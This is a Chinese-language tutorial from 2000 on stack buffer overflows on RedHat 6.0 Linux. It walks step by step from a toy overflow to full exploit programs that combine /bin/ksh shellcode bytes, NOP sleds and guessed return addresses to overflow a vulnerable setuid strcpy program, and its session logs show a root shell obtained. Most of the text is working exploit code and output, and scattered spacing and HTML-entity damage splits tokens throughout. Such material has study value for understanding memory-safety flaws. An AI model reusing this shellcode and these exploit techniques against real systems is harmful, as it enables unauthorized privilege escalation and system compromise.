shellcode技术探讨续二
发布日期: 2000- 1-25
内容:
------------- ------------------------------ ------------------------------ -------
来源:<
> ;
概述:
本文给出 一个完整的利用缓冲区溢出取得root shell的
示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
而我的意图正在于此。如果看不明白什么地方,可以在这里< br>提问,mail to: ,或者到绿色兵团的
Unix安全论坛上提问,tt在那里。水木清华97年以前就 大范
围高水平讨论过缓冲区溢出,你没赶上只能怪自己 生不逢时。
测试:
RedH at 6.0/Intel PII
目录:
1.先来看一次缓冲区溢出
2.研 究这个溢出
3.修改代码加强理解
4. 进一步修改代码
5.还想到什么
6. 堆栈可执行
7.一个会被缓冲区溢出攻击的程序例 子
8.利用缓冲区溢出取得shell
9.分析取得shell失败的原因
10. 危险究 在于什么
11. 待溢出缓冲区不足以容纳shel lcode时该如何溢出
12. 总结与思考
1. 先来看一次缓冲区溢出
vi sh elltest.c
/* 这是原来的shell code */
/*
char shellcod e[] =
"
\xeb\x1f\x5e \x89\x76\x08\x31\xc0\x88\x46\x 07\x89\x46\x0c\xb0\x0b"
< br>"
\x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/sh"
;
*/
/* 这是我们昨天自己得到的shellcode */
cha r shellcode[] =
"
\x eb\x1f\x5e\x89\x76\x09\x31\xc0 \x88\x46\x08\x89\x46\x0d\xb0\x 0b"
"
\x89\xf3\x 8d\x4e\x09\x8d\x56\x0d\xcd\x80 \x31\xdb\x89\xd8\x40\xcd"
"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
c har large_string[128];
int main ()
{
char buffer[96];
inti;
long * long_ptr = ( long * ) large_string;
for ( i = 0;
i <
32;
i++ )
{
/* 用buffer地址一路填写large _string,一个指针占用4个字节 */
* ( long_ptr + i ) = ( int )buff er;
}
for ( i = 0;
i <
strlen( shellcode );
i++ )
{
large_string [ i ] = shellcode[ i ];
}
/* 这个语句导致main()的返回地址被修改指 向buffer */
strcpy( buffer , large_string );
}
gcc -o shelltest shelltest.c./shelltest
exit
这 个程序所做的是,在large_string中填入buffer 的地址,并把shell代码
放到large_stri ng的前面部分。然后将large_string拷贝到buff er中,造成它溢
出,使返回地址变为buffer,而 buffer的内容为shell代码。这样当程序试图从
main()中返回时,就会转而执行shell。
< br>scz注:原文有误,不是试图从strcpy()返回,而 是试图从main()返回,必须
区别这两种说法 。
2. 研究这个溢出
在she llcode后面大量追加buffer指针,这是程序的关键所在 ,只有这样才能
使得buffer指针覆盖返回地址。其次 ,返回地址是四字节四字节来的,所以
在程序中出现的12 8和96不是随便写的数字,这些4的整数倍的数字保证了
在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则 前后一错位就
不是那么回事情了。
要理解 程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buf fer
的溢出只会朝栈底方向前进,并不会覆盖掉main ()函数本身的代码,也是附和
操作系统代码段只读要求的 。不要错误地怀疑main()函数结束处的ret语句会
被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer 位于代码段中,
于是一路覆盖下来破坏了代码本身,昏倒。
3. 修改代码加强理解
我们先 只做一个修改:
for ( i = 0;
i <
32;
i++ )
{
/* 用shellcode地址一路填写large_str ing,一个指针占用4个字节 */
*( lo ng_ptr + i ) = ( int )shellcod e;
}
返回地址被覆盖成shell code指针,同样达到了取得shell的效果。
4. 进一步修改代码
char shellc ode[] =
"
\xeb\x1f\x 5e\x89\x76\x09\x31\xc0\x88\x46 \x08\x89\x46\x0d\xb0\x0b"
"
\x89\xf3\x8d\x4e\x 09\x8d\x56\x0d\xcd\x80\x31\xdb \x89\xd8\x40\xcd"
&q uot;
\x80\xe8\xdc\xff\xff\xff/b in/ksh"
;
char larg e_string[128];
int mai n ()
{
char buffer[9 6];
inti;
long * long_ptr = ( long * )large_st ring;
for ( i = 0;
i <
32;
i++ )
{
/* 用shellcode地址一路填写large_stri ng,一个指针占用4个字节 */
*( lon g_ptr + i ) = ( int )shellcode ;
}
/* 这个语句导致main()的 返回地址被修改指向buffer */
strcpy ( buffer, large_string );
}
啊哈,还是达到了效果。完全没有必要把shel lcode拷贝到buffer中来嘛,定义
buffer 的作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回 地址
的效果。
5. 还想到什么
既然buffer本身一钱不值,为什么要定义那么大,缩 小它!
char shellcode[] =
"
\xeb\x1f\x5e\x89\x 76\x09\x31\xc0\x88\x46\x08\x89 \x46\x0d\xb0\x0b"
&q uot;
\x89\xf3\x8d\x4e\x09\x8d\x 56\x0d\xcd\x80\x31\xdb\x89\xd8 \x40\xcd"
"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
char large_string [12];
/* 修改 */
int main ()
{
char buffer[4] ;
/* 修改 */
inti;
long * long_ptr = ( long * )la rge_string;
for ( i = 0;
i <
3;
i++ )/* 修改 */< br>{
/* 用shellcode地址一 路填写large_string,一个指针占用4个字节 */< br>*( long_ptr + i ) = ( i nt )shellcode;
}
/* 这个语句导致main()的返回地址被修改指向buffer * /
strcpy( buffer, large_s tring );
}
打住,再修改就失去 研究的意义了。
6. 堆栈可执行
在这里我们需要解释一个概念,什么叫堆栈可执行。
按照 上述第1条目中给出的代码,实际上shellcode进入了堆区 甚至栈区,
终被执行的是堆栈中的数据,所谓堆栈可执行 ,大概是说允许堆栈中
的数据被作为指令执行。之所以用大 概这个词,因为我自己对保护模式
汇编语言不熟悉,不了解 具体细节,请熟悉的兄弟再指点。许多操作系
统可以设置系 统参数禁止把堆栈中的数据作为指令执行,比如solaris中可以在/etc/system中设置:
* Foil certain classes of bug e xploits
set noexec_user_sta ck = 1
* Log attempted exploits
set noexec_user_st ack_log = 1
Linux下如何禁止堆 栈可执行我也没仔细看过相关文档,谁知道谁就说
一声吧。
按照上述第3条目及其以后各条目给出的代码,实 际上执行了位于数据段
.data中的shellcode 。我不知道做了禁止堆栈可执行设置之后,能否阻止
数据段 可执行?谁了解保护模式汇编,给咱们讲讲。
即使 这些都被禁止了,也可以在代码段中嵌入shellcode,代码 段中的
shellcode是一定会被执行的。
< br>可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函 数,而
不是有源代码供你修改的自己的函数。在这个前提下 ,我们可能利用的
就是种方式了,明白?
< br>7. 一个会被缓冲区溢出攻击的程序例子
我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前 面修改的
是我们自己的main()函数返回地址,没有用 。仔细想想,如果执行一个suid了
的程序,该程序的m ain()函数实现中有下述代码:
/* gcc -o overflow overflow.c */
int main ( int argc, char * ar gv[] )
{
char buffer[ 16 ] = "
"
;
if ( argc >
1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( &qu ot;
Argv[1] needed!"
);
}
return 0;
}
[scz@ /home/scz/src]>
./o verflow 0123456789abcdefghi
0123456789abcdefghi
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghij
012345 6789abcdefghij
Segmentation fault (core dumped)
[scz@ /home/scz/src]>
./overflow 0123456789abcdefghijk
01234 56789abcdefghijk
BUG IN DYN AMIC LINKER ld.so: dl-runtime. c: 61: fixup: Assertion `((rel oc->
r_info) & 0xff) == 7 9;
failed!
[scz@ /home/scz/ src]>
./overflow 0123456789 abcdefghijkl
0123456789abcd efghijkl
Segmentation fault (core dumped)
[scz@ /home/ scz/src]>
gdb overflow
G NU gdb 4.17.0.11 with Linux su pport
This GDB was configur ed as "
i386-redhat-linux& quot;
..
(gdb) target core c ore <
-- -- -- 调入core文件
Core was generated by `./overf low 0123456789abcdefghijkl' ;
.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/ libc.so.6...done.
Reading s ymbols from /lib/ld-linux.so.2 ...done.
#00x40006c79 in _ dl_load_cache_lookup (name=Can not access memory at address 0 x6a69686f.
) at ../sysdeps/ generic/dl-cache.c:202
../s ysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach <
-- -- -- 卸掉 core文件
No core file now.
(gdb)
8. 利用缓冲区溢出取得she ll
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE256
#defin e DEFAULT_OFFSET 64
uns igned long get_esp ()
{
__asm__
("
movl %esp, %eax
"
);
}
int main ( int a rgc, char * argv[] )
{
< br>char shellcode[] =
"
\xeb\x1f\x5e\x89\x76\x 09\x31\xc0\x88\x46\x08\x89\x46 \x0d\xb0\x0b"
&quo t;
\x89\xf3\x8d\x4e\x09\x8d\x56 \x0d\xcd\x80\x31\xdb\x89\xd8\x 40\xcd"
"
\x80 \xe8\xdc\xff\xff\xff/bin/ksh&q uot;
;
char *buff er = 0;
unsigned long * pAddress = 0;
char * pChar= 0;
int i;
int offset = DEF AULT_OFFSET;
buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer = = 0 )
{
puts( &quo t;
Can'
t allocate memory&qu ot;
);
exit( 0 );
}
pChar = buffer;
/ * fill start of buffer with no ps */
memset( pChar, 0x90 , BUFFER_SIZE - strlen( shellc ode ) );
pChar += ( BUFFE R_SIZE - strlen( shellcode ) ) ;
/* stick asm code into the buffer */
for ( i = 0;
i <
strlen( shellcode ) ;
i++ )
{
*( pChar ++ ) = shellcode[ i ];
}< br>pAddress = ( unsigned lon g * )pChar;
for ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i ++ )
{
*( pAddress ++ ) = get_esp() + offset;
}
pChar= ( char * )pAd dress;
*pChar = 0;
execl( "
/home/scz/src/ove rflow"
, "
/home/scz/s rc/overflow"
, buffer, 0 ) ;
return 0;
}
程 序中get_esp()函数的作用就是定位堆栈位置。首先分配一 块内存buffer,然后在buffer的前面部分
填满 NOP,后面部分放shellcode。后部分是希望程序返回 的地址,由栈顶指针加偏移得到。当以buffer
为参数 调用overflow时,将造成overflow程序的缓冲区溢 出,其缓冲区被buffer覆盖,而返回地址将指向
NO P指令。
[scz@ /home/scz/sr c]>
gcc -o overflow_ex over flow_ex.c
[scz@ /home/scz/s rc]>
./overflow_ex
... . ..
.../bin/ksh...
... .. .
Segmentation fault (core dumped)
[scz@ /home/scz/src ]>
失败,虽然发生了溢出,却没有取得 可以使用的shell。
9. 分析取得shel l失败的原因
条目7中给出的源代码表明over flow.c只提供了16个字节的缓冲区,
按照我们前面 讨论的溢出技术,overflow_ex导致overflow的 main()函数的返回地址被0x90覆盖,
没有足够空 间存放shellcode。
让我们对overf low.c做一点小小的调整以迁就overflow_ex.c的 成功运行:
old:char buffer [ 16 ] = "
"
;
new: char buffer[ 256 ] = "
& quot;
;
[scz@ /home/scz/ src]>
./overflow_ex
... ... <
-- -- -- NOP指令的汉字显示.../bin/ksh...
... ... &l t;
-- -- -- 返回地址的汉字显示
$ exi t <
-- -- -- 取得了shell
[s cz@ /home/scz/src]>
10. 危险究在于什么
假设曾经发生过这样 的操作:
[root@ /home/scz/s rc]>
chown root.root overfl ow
[root@ /home/scz/src]> ;
chmod +s overflow
[root@ /home/scz/src]>
ls -l overf low
-rwsr-sr-x 1 root ro ot overflow
[root@ /home/sc z/src]>
好了,麻烦就是这样开始的 :
[scz@ /home/scz/src]& gt;
./overflow_ex
... ... & lt;
-- -- -- NOP指令的汉字显示
... /bin/ksh...
... ... <
-- -- -- 返回地址的汉字显示
# id <
-- -- -- 你得到了root shell,看看你是谁吧
uid=500(scz) gid=100(users ) euid=0(root) egid=0(root) gr oups=100(users)
~~~~~~~~~~~~~~~~~~~~~~~~~ 昏 倒
# exit
[scz@ /home/scz /src]>
id
uid=500(scz) g id=100(users) groups=100(users )
[scz@ /home/scz/src]>
至此你应该明白如何书写自己的shellcod e,如何辨别一个shellcode是否
真正是在提供s hell而不是木马,什么是缓冲区溢出,究如何利用缓冲区溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/ sgid程序的危险
性等等。于是你也明白了,为什么某些 exploit出来之后如果没有补丁,
一般都建议你先c hmod -s,没有什么奇怪,虽然取得shell,但不是root shell而已。
11. 待溢出 缓冲区不足以容纳shellcode时该如何溢出
vi overflow.c
/* gcc - o overflow overflow.c */
in t main ( int argc, char * argv [] )
{
char buffer[ 9 ] = "
"
;
if ( a rgc >
1 )
{
str cpy( buffer, argv[1] );
puts( buffer );
}
e lse
{
puts( "
Argv[1] needed!"
);
}
return 0;
}
- ------------------------------ --------
vi overflow_ex .c
/* gcc -o overflow_e x overflow_ex.c */
#def ine BUFFER_SIZE256
/* 取栈基指针 */
unsigned long get _ebp ()
{
__asm__
("
movl %ebp, %e ax
"
);
}
int main ( int argc, char * ar gv[] )
{
char shel lcode[] =
"
\xeb\x 1f\x5e\x89\x76\x09\x31\xc0\x88 \x46\x08\x89\x46\x0d\xb0\x0b&q uot;
"
\x89\xf3\x8d \x4e\x09\x8d\x56\x0d\xcd\x80\x 31\xdb\x89\xd8\x40\xcd"
"
\x80\xe8\xdc\xff\x ff\xff/bin/ksh"
;
char *buffer = 0;
unsigned long * pAddress = 0;
char *pChar= 0;
int i;
buf fer = ( char * )malloc( BUFFER _SIZE * 2 + 1 );
if ( buf fer == 0 )
{
puts( "
Can'
t allocate memo ry"
);
exit( 0 );
< br>}
pAddress = ( unsi gned long * )buffer;
for ( i = 0 ;
i <
( BUFFER_SIZE / 4 );
i++ )
{
*( pAddress++ ) = get_ebp() + BU FFER_SIZE;
}
pChar = buffer + BUFFER_SIZE;
/* fill start of buffer with nop s */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellco de ) );
pChar += ( BUFFER _SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
for ( i = 0;
i <
strlen( shellcode );
i++ )
{
*( pChar+ + ) = shellcode[ i ];
}*pChar = 0;
execl( & quot;
/home/scz/src/overflow&qu ot;
, "
/home/scz/src/overf low"
, buffer, 0 );
r eturn 0;
}
[scz@ /ho me/scz/src]>
./overflow_ex< br>... ... <
-- -- -- 返回地址的 汉字显示
... ... <
-- -- -- NOP指令的汉字显示
.../bin/ksh... & lt;
-- -- -- shellcode的汉字显示
$ exit <
-- -- -- 溢出成功,取得s hell
[scz@ /home/scz/src]&g t;
warning3注:对于简单的弱点程序, 这种方法是可行的.不过如果问题
函数有很多参数,并且这 些参数在strcpy()之后还要使用的话,这种方
法就 很难成功了.
例如:
vulnerable_fu nc(arg1,arg2,arg3)
{
cha r *buffer[16];
...
strcp y(buffer,arg1);
...
othe r_func(arg2);
...
other_ func(arg3);
...
}
如果直 接覆盖,就会导致arg1,arg2,arg3也被覆盖,函数就 可能不能正常返回.
Aleph1的办法是将sh ellcode放到环境变量里传递给有弱点的函数,用环境变量< br>的地址做为返回地址,这样我们可以只用24个字节的buf fer来覆盖掉返回地址,
而不需要改动参数.
< br>12. 总结与思考
上面这些例子本身 很简单,完全不同于那些端复杂的溢出例子。但无论多么
复杂,其基本原理是一样的。要完成取得root shell 的缓冲区攻击:
a. 有一个可以发生溢出的 可执行程序,各种Mail List会不断报告新发现的可供 攻击的程序;自己也可以通过某些低级调试手段获知程 序中是否存在容易发生
溢出的函数调用,这些调试 手段不属于今天讲解范畴,以后再提。
b. 该程序是 root的suid程序,用ls -l确认。
c. 普通用户有适当的权限运行该程序。
d. 编写合理的 溢出攻击程序,shellcode可以从以前成功使用过的例子中 提取。
e. 要合理调整溢出程序,寻找(或者说探测 )main()函数的返回地址存放点,找到
它并 用自己的shellcode地址覆盖它;这可能需要很大的耐心和 毅力。
从这些简单的示例中看出,为了得到一 个可成功运行的exploit,攻击者们付出过太
多 心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总 结、大家群策
群力的结果,如果认为了解几个现成的b ug就可以如何如何,那是种悲哀。
后记:
颠峰时刻的水木清华的确不是其他站点可以大范围 越的,尽管在某些个别版面上
存在着分庭抗礼。如果你 想了解系统安全,应该从水木清华 Hacker 版98.6以前 的
所有精华区打包文件开始,那些旧日的讨论和技术文 章在现在看来也值得初学者仔
细研读。
文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术, 或者退一步,了解过这
种技术,对于狂热爱好计算机技 术的你来说,不是什么坏事。也许在讨论它们的时候,
某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给 你带来过不愉快
的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<
<
这个 杀手不
太冷>
>
没有,no child ren、no women,我想说的不是这个,但你应该明白我想 说什么。
Good luck for you.< br>